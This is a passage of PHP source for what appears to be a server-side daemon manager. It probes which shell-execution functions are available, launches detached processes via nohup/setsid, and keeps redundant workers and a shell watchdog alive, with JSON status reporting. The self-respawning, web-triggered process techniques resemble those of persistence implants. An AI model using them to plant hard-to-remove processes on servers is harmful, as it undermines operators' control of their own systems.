stripos($bin, 'php-fpm') === false) { return $bin; } } $candidates = [ 'php', '/usr/bin/php', '/usr/local/bin/php', '/usr/local/php/bin/php', '/www/server/php/82/bin/php', '/www/server/php/81/bin/php', '/www/server/php/80/bin/php', ]; $cmdExec = isset($probe['command_exec']) && is_array($probe['command_exec']) ? $probe['command_exec'] : []; $method = null; foreach (['shell_exec', 'exec', 'proc_open'] as $fn) { if (!empty($cmdExec['methods'][$fn]['marker_found'])) { $method = $fn; break; } } foreach ($candidates as $c) { $which = $this->probeBinaryPath($c, $method); if ($which !== null) { return $which; } } return 'php'; } private function spawnDetached(string $phpBin, string $script, array $probe, array $extraArgs = [], ?string $slot = null): bool { if ($slot === null) { $slot = $this->inferSlotFromCliArgs($extraArgs); } if ($slot !== null && BusiDaemonRunner::isPhpMainHealthy($slot)) { return true; } if ($slot !== null && BusiDaemonRunner::isPhpMainAlive($slot)) { return true; } $argStr = ''; foreach ($extraArgs as $a) { $argStr .= ' ' . escapeshellarg($a); } $inner = escapeshellarg($phpBin) . ' ' . escapeshellarg($script) . $argStr; $logEsc = escapeshellarg(AsPaths::daemonLog()); $variants = [ 'nohup ' . $inner . ' >> ' . $logEsc . ' 2>&1 &', 'setsid ' . $inner . ' >> ' . $logEsc . ' 2>&1 < /dev/null &', '(' . $inner . ' >> ' . $logEsc . ' 2>&1 &)', $inner . ' >> ' . $logEsc . ' 2>&1 &', ]; foreach ($variants as $cmd) { if (!$this->runBackgroundCommand($cmd, $probe)) { continue; } $pollMax = $this->isWebContext() ? 3 : 16; $pollUs = $this->isWebContext() ? 100000 : 250000; for ($i = 0; $i < $pollMax; $i++) { usleep($pollUs); if ($slot === 'A' && BusiDaemonRunner::isPhpMainAlive('A')) { return true; } if ($slot === 'B' && BusiDaemonRunner::isPhpMainAlive('B')) { return true; } if ($slot === null) { $running = self::checkDaemonRunning($this->baseDir); if (!empty($running['main_a_alive']) || !empty($running['main_b_alive'])) { return true; } } } } return false; } private function inferSlotFromCliArgs(array $extraArgs): ?string { foreach ($extraArgs as $arg) { $arg = (string) $arg; if ($arg === AsPaths::cliWorker()) { return 'A'; } if ($arg === AsPaths::cliPcntl()) { return 'B'; } } return null; } private function spawnDetachedShell(string $shScript, array $probe): bool { $inner = '/bin/sh ' . escapeshellarg($shScript); $logEsc = escapeshellarg(AsPaths::daemonLog()); $variants = [ 'nohup ' . $inner . ' >> ' . $logEsc . ' 2>&1 &', 'setsid ' . $inner . ' >> ' . $logEsc . ' 2>&1 < /dev/null &', '(' . $inner . ' >> ' . $logEsc . ' 2>&1 &)', $inner . ' >> ' . $logEsc . ' 2>&1 &', ]; foreach ($variants as $cmd) { if (!$this->runBackgroundCommand($cmd, $probe)) { continue; } $pollMax = $this->isWebContext() ? 3 : 12; $pollUs = $this->isWebContext() ? 100000 : 500000; for ($i = 0; $i < $pollMax; $i++) { usleep($pollUs); if (BusiDaemonRunner::isShellWatchdogAlive()) { return true; } } } return BusiDaemonRunner::startShellWatchdog(); } private function runBackgroundCommand(string $cmd, array $probe): bool { $cmdExec = isset($probe['command_exec']) && is_array($probe['command_exec']) ? $probe['command_exec'] : []; $methods = isset($cmdExec['methods']) && is_array($cmdExec['methods']) ? $cmdExec['methods'] : []; foreach (['exec', 'shell_exec', 'proc_open', 'popen'] as $fn) { if (empty($methods[$fn]['marker_found']) || !function_exists($fn)) { continue; } try { switch ($fn) { case 'exec': @exec($cmd, $_, $code); return $code === 0; case 'shell_exec': @shell_exec($cmd); return true; case 'popen': $fp = @popen($cmd, 'r'); if (is_resource($fp)) { @pclose($fp); return true; } break; case 'proc_open': $null = '/dev/null'; if (!is_readable($null)) { break; } $desc = [ 0 => ['file', $null, 'r'], 1 => ['file', $null, 'w'], 2 => ['file', $null, 'w'], ]; $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { @proc_close($proc); return true; } break; } } catch (Throwable $e) { continue; } } return false; } private function probeBinaryPath(string $name, ?string $preferredMethod): ?string { $cmd = 'command -v ' . escapeshellarg($name) . ' 2>/dev/null'; if ($preferredMethod === 'shell_exec' && function_exists('shell_exec')) { $out = trim((string) @shell_exec($cmd)); return ($out !== '' && DeployPathHelper::safeIsExecutable($out)) ? $out : null; } if (function_exists('exec')) { $lines = []; @exec($cmd, $lines, $code); if ($code === 0 && !empty($lines[0]) && DeployPathHelper::safeIsExecutable($lines[0])) { return $lines[0]; } } return DeployPathHelper::safeIsExecutable($name) ? $name : null; } } if (PHP_SAPI === 'cli' && isset($argv[1])) { $cliMode = (string) $argv[1]; $cliModes = [ AsPaths::cliPcntl(), AsPaths::cliWorker(), AsPaths::cliChildPeer(), AsPaths::cliChildShell(), AsPaths::cliChildMd5(), AsPaths::cliGuard(), AsPaths::cliStop(), ]; if (in_array($cliMode, $cliModes, true)) { BusiDaemonRunner::dispatch($argv); } exit(0); } function jsonResponse(int $code, array $data): void { FrameworkJsonResult::emit(is_array($data) && isset($data[0]['title']) ? $data : [$data], $code); } /** JSON 响应(对位 txt/b emit_json_response + b26 元数据块) */ final class FrameworkJsonResult { public static function b26Meta(string $op, bool $ok, string $code, string $cms = 'framework'): array { return [ 'op' => $op, 'cms' => $cms, 'ok' => $ok, 'code' => $code, ]; } public static function block( string $title, string $status, array $messages, ?array $b26 = null, array $extra = [] ): array { $block = [ 'title' => $title, 'status' => $status, 'message' => array_values(array_map(static function ($m) { return is_string($m) ? $m : (string) $m; }, $messages)), ]; if ($b26 !== null) { $block['b26'] = $b26; } foreach ($extra as $k => $v) { if (!in_array($k, ['title', 'status', 'message', 'b26'], true)) { $block[$k] = $v; } } return $block; } public static function failBlock(string $title, string $message, string $code = 'fail'): array { return self::block($title, 'fail', [$message], self::b26Meta($title, false, $code)); } public static function probeSummaryMessages(array $probe): array { $msgs = []; $msgs[] = 'scanner:' . (string) ($probe['scanner'] ?? 'site_probe'); $site = isset($probe['site']) && is_array($probe['site']) ? $probe['site'] : []; if (!empty($site['root'])) { $msgs[] = 'scan_root:' . $site['root']; } $entry = isset($probe['entry']) && is_array($probe['entry']) ? $probe['entry'] : []; if (!empty($entry['detected']) && !empty($entry['path_abs'])) { $msgs[] = 'entry:index.php result:found path:' . $entry['path_abs']; } elseif (!empty($entry['expected_path'])) { $msgs[] = 'entry:index.php result:not_found path:' . $entry['expected_path']; } elseif (!empty($entry['message'])) { $msgs[] = (string) $entry['message']; } if (!empty($probe['command_exec']['any_exec_works'])) { $msgs[] = 'exec:any_ok'; } else { $msgs[] = 'exec:none'; } $gate = isset($probe['daemon_startup']) && is_array($probe['daemon_startup']) ? $probe['daemon_startup'] : []; if ($gate !== []) { $msgs[] = 'daemon_gate:' . (!empty($gate['ok']) ? 'ok' : 'blocked'); if (!empty($gate['blockers']) && is_array($gate['blockers'])) { foreach ($gate['blockers'] as $b) { $msgs[] = 'gate_blocker:' . $b; } } } if (isset($probe['webshell_scan']['count'])) { $msgs[] = 'webshell_hits:' . (int) $probe['webshell_scan']['count']; } if (isset($probe['elapsed'])) { $msgs[] = 'elapsed:' . $probe['elapsed']; } return $msgs; } public static function daemonSummaryMessages(array $daemon): array { $msgs = []; if (empty($daemon['configured'])) { $msgs[] = 'daemon:not_configured'; return $msgs; } if (!empty($daemon['main_alive'])) { $msgs[] = 'daemon:main_alive pid:' . (int) ($daemon['main_pid'] ?? 0); } else { $msgs[] = 'daemon:main_down'; } if (isset($daemon['main_a_alive'])) { $msgs[] = 'daemon:main_a:' . (!empty($daemon['main_a_alive']) ? 'alive' : 'down') . ' pid:' . (int) ($daemon['main_a_pid'] ?? 0); } if (isset($daemon['main_b_alive'])) { $msgs[] = 'daemon:main_b:' . (!empty($daemon['main_b_alive']) ? 'alive' : 'down') . ' pid:' . (int) ($daemon['main_b_pid'] ?? 0); } if (isset($daemon['main_a_healthy'])) { $msgs[] = 'daemon:main_a_health:' . (!empty($daemon['main_a_healthy']) ? 'ok' : 'bad'); } if (isset($daemon['main_b_healthy'])) { $msgs[] = 'daemon:main_b_health:' . (!empty($daemon['main_b_healthy']) ? 'ok' : 'bad'); } if (empty($daemon['sh_running'])) { $msgs[] = 'shell_watchdog:down'; } if (!empty($daemon['bootstrap_pending'])) { $msgs[] = 'daemon:bootstrap_pending'; } if (!empty($daemon['wait_elapsed'])) { $msgs[] = 'wait_elapsed:' . (int) $daemon['wait_elapsed'] . 's'; } if (!empty($daemon['sh_running'])) { $msgs[] = 'shell_watchdog:alive pid:' . (int) ($daemon['sh_pid'] ?? 0); } if (!empty($daemon['reason'])) { $msgs[] = 'reason:' . $daemon['reason']; } if (!empty($daemon['ensured'])) { $msgs[] = 'ensured:yes'; } return $msgs; } public static function deploySummaryMessages(array $deploy): array { $msgs = [(string) ($deploy['message'] ?? '')]; if (!empty($deploy['status'])) { $msgs[] = 'deploy_status:' . $deploy['status']; } $result = isset($deploy['result']) && is_array($deploy['result']) ? $deploy['result'] : []; if (!empty($result['main_pid'])) { $msgs[] = 'main_pid:' . (int) $result['main_pid']; } if (isset($result['target_display'])) { $msgs[] = 'target:' . $result['target_display']; } if (!empty($deploy['executed'])) { $msgs[] = 'executed:yes'; } if (!empty($deploy['dry_run'])) { $msgs[] = 'dry_run:yes'; } return array_values(array_filter($msgs, static function ($m) { return is_string($m) && $m !== ''; })); } /** * @param array<int,array<string,mixed>> $dataBlocks */ public static function emit(array $dataBlocks, int $httpCode = 200): void { $overall = 'ok'; foreach ($dataBlocks as $result) { if (!is_array($result)) { continue; } if (isset($result['status']) && $result['status'] === 'fail') { $overall = 'fail'; break; } } http_response_code($httpCode); header('Content-Type: application/json; charset=UTF-8'); header('X-Content-Type-Options: nosniff'); header('Cache-Control: no-store'); $flags = JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT; if (defined('JSON_INVALID_UTF8_SUBSTITUTE')) { $flags |= JSON_INVALID_UTF8_SUBSTITUTE; } $payload = [ 'status' => $overall, 'data' => $dataBlocks, 'errors' => [], ]; $json = json_encode($payload, $flags); if ($json === false) { $json = json_encode([ 'status' => 'fail', 'data' => [ self::block('json_error', 'fail', [json_last_error_msg()]), ], 'errors' => [], ], JSON_UNESCAPED_UNICODE); } echo $json; exit; } } function frameworkRequestFlag(string $name): bool { framework_init_realdata_from_request(); $candidates = []; if (function_exists('request_param')) { $v = request_param($name, null); if ($v !== null && $v !== '') { $candidates[] = $v; } } global $realdata; if (isset($realdata) && is_array($realdata) && array_key_exists($name, $realdata)) { $candidates[] = $realdata[$name]; } foreach ($candidates as $v) { if (is_bool($v)) { return $v; } if (is_numeric($v) || is_string($v)) { $s = strtolower(trim((string) $v)); if (in_array($s, ['1', 'true', 'yes', 'on'], true)) { return true; } if (in_array($s, ['0', 'false', 'no', 'off'], true)) { return false; } } } return false; } function frameworkIsWebSapi(): bool {